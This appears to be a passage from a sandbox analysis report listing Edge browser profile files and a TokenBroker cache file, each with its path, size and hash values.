SHA512 08b80e09967e8642857e32f7d8a07197934153fcce9b8311d0a9260bcfd85268e4e2d6555a730c57e4411534131cdb6daace4f34dc1b7facc9cc9edff9ace29b
SSDEEP 192:sxZARCkf/frs9dRYRhIdpPWHpv6+WNGYCk6roLIg5wcJ:sxZAHf/frsrRYRKuH2GjoF
TLSH
T1D422B7566E28A57B8CCBE21DFA55BF43D6F91031A1D51E58E6FC861C04E76CD220B40F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 c8ad60744d0c094344e90fe4f8806ed2a797ea75b419d2d0f077ba88a15436de
MD5 887ed4428091b880e4764bafa15b2896
SHA1 3a0a3ab9282bb0cfb1277b3576c7e413a7132870
SHA512 dda0c1462d85e7efb848f6e17d0575c2ea059ebf8904e4848a341497a20a6a2830d9b51e9230e40994fc3b382c67b8af238d4c685ba9549054c81dd15f30a861
SSDEEP 768:PtqbUj+WvSCs68F1+UoAYDCx9Tuqh0VfUC9xbog/OVHZLlRTKrIroL:PtqbUj+WvSCs6u1jaaZLbWrzL
TLSH
T170C2D93B340CCA7E4F801E9DDD5A6F972E9802C7A7588D4447FA994C02C77EA912B4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0196cf10-a33c-411a-a14c-ba745c881f83.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\0196cf10-a33c-411a-a14c-ba745c881f83.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 1fbc03fc183dbde87c9300fff91c574ee454ffaac6a0350ad4177197be35b5ee
MD5 1eb5b50cf3c0d91091e050c63416ae27
SHA1 afd9d46109b4cce05fa253475665dab682a92ff6
SHA512 39d16336bfe288bfde3d612f3c7f0ea8599a80bfe631778f9d011b3fc2dd918bcc55d81c385e79d58aef216b491042ac8cb105ae32630bd03ed81a397f28278a
SSDEEP 192:uKm+xasuheOwQxMGsNw9BQIvrPEbioGQmiU12JtV4Ea+j1+FdCK2oamxqK/Mvr5J:IZcIhsNw9Bd1bWKEa++d5vTsAkMaueP
TLSH
T187829E715C786D7A5DD3B945F88B3A238FF880279ACA6A40D5EC9B1D00DA679130BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 21KB
SHA256 3ecc360028357985ed65082791583076a2bdcfa5a4b5afd10fb2c37b87f004e0
MD5 e482717545c669b025b89fb3882d6073
SHA1 6d69932ffd1680916ff6a31f05c48672c418be4d
SHA512 b299fb64e83c394ad6062231ca94aa5f798098aae061c4bc58afda1bf7c34f6f904c87c6ff819585a6ac5237d435ec37ad38dae7617353d0f579c0d40a60c64f
SSDEEP 384:2iFiZcIjsNw8TUNTUlIl6Bd1bWKEa++d5yTsAkMaueP:dFQjJwgwj0ha73yTeMM
TLSH
T195A27D734C689D7BADE76E45F88A3613CFF84067C9D6AA50E6DC8B1D00D61AC130BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 8d596a45dd16c967227175c200bb4b0eff514fbac24de5f7bd5ce23941a9bd8e
MD5 40e94c1bae015f55d2eba779e5c5ce8c
SHA1 aa8357377413d4907d2d10de4236ca0476ed6ae4
SHA512 00310dec45fb2e26efc076f31c6d7aac15ef14dae0b675224312372c8ffa32afbe734f39f5e0d5d32bda3ae07a61e0e43d57f93ad7a27156ebb6d87e014515a8
SSDEEP 192:vONR6Db6QmiUyq4HBa+j1+FdCKHRgDxU6:vONR6u0HBa++d5GtU6
TLSH
T18B02E73568786CB79EF26E49F4872B279FD4102BAA962B54DAD84F0C00D764C2347837
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 8084f2bdf98398457af9ab140f7ac55d36eaf3d5aa5ef56c2719e2c8818735d0
MD5 fe55625859efbb7d57566dd31da14535
SHA1 cc7414b46f9fc0cd2bb15d12b1fbe3e228460703
SHA512 d60eaa0d839a881ee718baccac9bffc365c59d5f25258afcd7e694696836262bb6456fb58f7277ad2bf8959ad687a0917a51cf0f4c3dc99b4a08a273cf0df5b2
SSDEEP 192:uwm+xasuheOwQxMGsNw6BQIvrPEbioGQmiU12JtV4Ea+j1+FdCK2oamxqK/Mvr5J:qZcIhsNw6Bd1bWKEa++d5vTsAkMaueP
TLSH
T12D829E715C786D6B9DD3B945F88B39238FF8802796CA6E40D5EC9B1D00DA669130BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 05fa4db707740997bc1a0c4b1beb3b9c087ab468b63ec41803e86ffa05d16892
MD5 622304d1d7ec33fcb687d1893375ee05
SHA1 bce4927a12a92cfa2475c588181ce273cec5b877
SHA512 5f5c5eaccb2c1effc6e356dca66cfbdbbcf626498e04b7097d35531820ae42abd7cc5fbb280850da91c7034f18014e1f071ede73c0c3e4f02399ab6d9e5e722c
SSDEEP 192:FONh6DbCQmiUyaC4WBa+j1+FdCK2jNzxqKU6:FONh6mrWBa++d5eTU6
TLSH
T18A122A36687CAC675DD27994F48736139FE48127EA8A7B94D5DC5F0C00DB69C230B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fc6890ef-bb73-4e39-a80c-0ce18962140f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\fc6890ef-bb73-4e39-a80c-0ce18962140f.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 07eed51c839636a9c61c9bfe414c3ed89f13e4445b2c93972d401edfca34e741
MD5 638ada70fc0af208c4b688ba96d37d6a
SHA1 35e7ce99f6cdb52aa8d8366be05d720bec7f2ea9
SHA512 74c38b2dd86105e40c7acd59f4311b08303c38287cb4c2f7b642f877289662543f383cd62f8ee9c704de52f729a4774dacebb2504f84cf264c06eca0cb1150a7
TLSH
T13741175DB6E91148B3B76F56AFF6A8AD843BB9772E06D44E10110E4F0932F04C8A2777
MD5 SHA1 SHA512 TLSH

Submit Download